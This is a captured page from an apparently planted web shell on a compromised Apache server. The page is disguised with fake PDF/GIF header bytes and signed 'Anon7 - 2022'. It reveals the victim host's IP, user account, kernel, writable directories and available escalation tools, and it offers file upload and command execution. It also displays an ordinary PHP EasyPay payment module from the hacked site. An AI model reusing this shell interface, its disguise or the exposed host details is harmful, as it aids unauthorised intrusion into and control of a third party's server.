%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.23
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stellasp/public_html/application/packages/payment/easypay/libraries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/stellasp/public_html/application/packages/payment/easypay/libraries/easypay.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Easypay
{
	var $CI;
	
	//this can be used in several places
	var	$method_name	= 'EasyPay';
	
	function __construct()
	{
		$this->CI =& get_instance();
	   
	
	}
	
	/*
	checkout_form()
	this function returns an array, the first part being the name of the payment type
	that will show up beside the radio button the next value will be the actual form if there is no form, then it should equal false
	there is also the posibility that this payment method is not approved for this purchase. in that case, it should return a blank array 
	*/
	
	//these are the front end form and check functions
	function checkout_form($post = false)
	{
		$settings	= $this->CI->Settings_model->get_settings('easypay');
		$enabled	= $settings['enabled'];
		
		$form			= array();
		if($enabled)
		{
			$form['name'] = $this->method_name;
			
			$form['form'] = $this->CI->load->view('pp_checkout', array(), true);
			
			return $form;
			
		} else return array();
		
	}
	
	
	function checkout_check()
	{
		// Nothing to check in this module
		return false;
	}
	
	function description()
	{
		return 'EasyPay';
	}
	
	//back end installation functions
	function install()
	{
		
		//$config['username'] = '';
		//$config['password'] = '';; 
		//$config['signature'] = '';
		//$config['currency'] = 'USD'; // default
		
		$config['SANDBOX'] = true;
		
		$config['enabled'] = "0";
		
		//not normally user configurable
		//$config['return_url'] = "pp_gate/pp_return/";
		///$config['cancel_url'] = "pp_gate/pp_cancel/";

		$this->CI->Settings_model->save_settings('easypay', $config);
	}
	
	function uninstall()
	{
		$this->CI->Settings_model->delete_settings('easypay');
	}
	
	//payment processor
	function process_payment()
	{
		$process	= false;
		
		$store		= $this->CI->config->item('company_name');
		$orderRefNum	= date('YmdHis');
		// this will forward the page to the paypal interface, leaving gocart behind
		// the user will be sent back and authenticated by the paypal gateway controller pp_gate.php
		//$this->CI->easy->doExpressCheckout($this->CI->go_cart->total(), $store.' order');
		header('Location:  https://easypaystg.easypaisa.com.pk/easypay/Index.jsf?amount='.$this->CI->go_cart->total().'&&orderRefNum='.$orderRefNum.'&postBackURL=http://graficano.com/demo3/checkout/easypay&storeId=2378');
	    die();
			
		// If we get to this step at all, something went wrong	
		return lang('paypal_error');
			
	}
	
	//admin end form and check functions
	function form($post	= false)
	{
		//this same function processes the form
		if(!$post)
		{
			$settings	= $this->CI->Settings_model->get_settings('easypay');
		}
		else
		{
			$settings = $post;
		}
		//retrieve form contents
		return $this->CI->load->view('admin_form', array('settings'=>$settings), true);
	}
	
	function check()
	{	
		$error	= false;
		
		// The only value that matters is currency code.
		//if ( empty($_POST['']) )
			//$error = "<div>You must enter a valid currency code</div>";
					
		//count the errors
		if($error)
		{
			return $error;
		}
		else
		{
			//we save the settings if it gets here
			$this->CI->Settings_model->save_settings('easypay', $_POST);
			
			return false;
		}
	}
}


Anon7 - 2022
SCDN GOK